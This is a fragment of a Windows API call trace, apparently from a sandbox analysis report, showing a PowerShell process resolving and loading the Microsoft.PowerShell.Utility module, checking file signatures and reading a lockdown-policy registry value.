(cb=0x10) returned 0x5cf6b30 [0131.105] CoTaskMemAlloc (cb=0xe4) returned 0x720dd0 [0131.105] CoTaskMemAlloc (cb=0x30) returned 0x71d370 [0131.105] WinVerifyTrust () returned 0x800b0100 [0131.126] CoTaskMemFree (pv=0x5cf6b18) [0131.126] CoTaskMemFree (pv=0x71d370) [0131.126] CryptCATHandleFromStore () returned 0x6e9a90 [0131.126] WTHelperGetProvSignerFromChain () returned 0x0 [0131.126] CoTaskMemAlloc (cb=0x10) returned 0x5cf6b18 [0131.126] CoTaskMemAlloc (cb=0x30) returned 0x71d370 [0131.127] WinVerifyTrust () returned 0x0 [0131.127] CoTaskMemFree (pv=0x71d370) [0131.127] CoTaskMemFree (pv=0x5cf6b18) [0131.127] CoTaskMemFree (pv=0x720dd0) [0131.127] CoTaskMemFree (pv=0x5cf6b30) [0131.134] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0131.134] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0131.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.139] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0131.139] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0131.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fce88) returned 1 [0131.139] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x59fd14c | out: lpFileInformation=0x59fd14c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fce84) returned 1 [0131.139] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.139] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.140] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59fce04, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0131.142] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0131.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0131.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0131.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fcc90) returned 1 [0131.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x59fcf54 | out: lpFileInformation=0x59fcf54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fcc8c) returned 1 [0131.161] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.164] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0131.272] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0131.273] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0131.273] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0131.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fcc90) returned 1 [0131.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x59fcf54 | out: lpFileInformation=0x59fcf54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fcc8c) returned 1 [0131.276] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.279] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0131.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0131.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0131.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fcc90) returned 1 [0131.280] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x59fcf54 | out: lpFileInformation=0x59fcf54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fcc8c) returned 1 [0131.283] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0131.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0131.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0133.870] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0133.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.870] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fccb4, Length=0x20, ResultLength=0x59fcd24 | out: SystemInformation=0x59fccb4, ResultLength=0x59fcd24*=0x0) returned 0xc0000003 [0133.870] GetSystemInfo (in: lpSystemInfo=0x59fcd30 | out: lpSystemInfo=0x59fcd30*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0133.871] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fccc0 | out: phkResult=0x59fccc0*=0x580) returned 0x0 [0133.871] RegQueryValueExW (in: hKey=0x580, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fccdc, lpData=0x0, lpcbData=0x59fccd8*=0x0 | out: lpType=0x59fccdc*=0x0, lpData=0x0, lpcbData=0x59fccd8*=0x0) returned 0x2 [0133.871] RegCloseKey (hKey=0x580) returned 0x0 [0133.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fca64) returned 1 [0133.872] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x271a280 | out: lpFileInformation=0x271a280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fca60) returned 1 [0133.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fca24) returned 1 [0133.872] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59fcce8 | out: lpFileInformation=0x59fcce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fca20) returned 1 [0133.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fc9b8) returned 1 [0133.873] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59fcc7c | out: lpFileInformation=0x59fcc7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fc9b4) returned 1 [0133.873] CoTaskMemAlloc (cb=0x10) returned 0x5cf6b90 [0133.873] CoTaskMemAlloc (cb=0x10) returned 0x5cf6ba8 [0133.873] CoTaskMemAlloc (cb=0xe4) returned 0x720ec0 [0133.873] CoTaskMemAlloc (cb=0x30) returned 0x71d370 [0133.873] WinVerifyTrust () returned 0x800b0100 [0133.885] CoTaskMemFree (pv=0x5cf6b90) [0133.885] CoTaskMemFree (pv=0x71d370) [0133.885] CryptCATHandleFromStore () returned 0x6ea0c0 [0133.885] WTHelperGetProvSignerFromChain () returned 0x0 [0133.885] CoTaskMemAlloc (cb=0x10) returned 0x5cf6b90 [0133.885] CoTaskMemAlloc (cb=0x30) returned 0x71d370 [0133.885] WinVerifyTrust () returned 0x0 [0133.885] CoTaskMemFree (pv=0x71d370) [0133.885] CoTaskMemFree (pv=0x5cf6b90) [0133.885] CoTaskMemFree (pv=0x720ec0) [0133.885] CoTaskMemFree (pv=0x5cf6ba8) [0133.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fcc70) returned 1 [0133.886] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0133.886] GetFileType (hFile=0x580) returned 0x1 [0133.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fcc6c) returned 1 [0133.886] GetFileType (hFile=0x580) returned 0x1 [0133.886] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x0 [0133.887] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.887] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x1000 [0133.887] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.887] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x2000 [0133.887] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.888] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x3000 [0133.888] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.888] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x4000 [0133.888] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.888] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x5000 [0133.888] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.889] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x6000 [0133.889] ReadFile (in: hFile=0x580, lpBuffer=0x271ba94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fccd8, lpOverlapped=0x0 | out: lpBuffer=0x271ba94*, lpNumberOfBytesRead=0x59fccd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.889] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fccac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fccac*=0) returned 0x7000 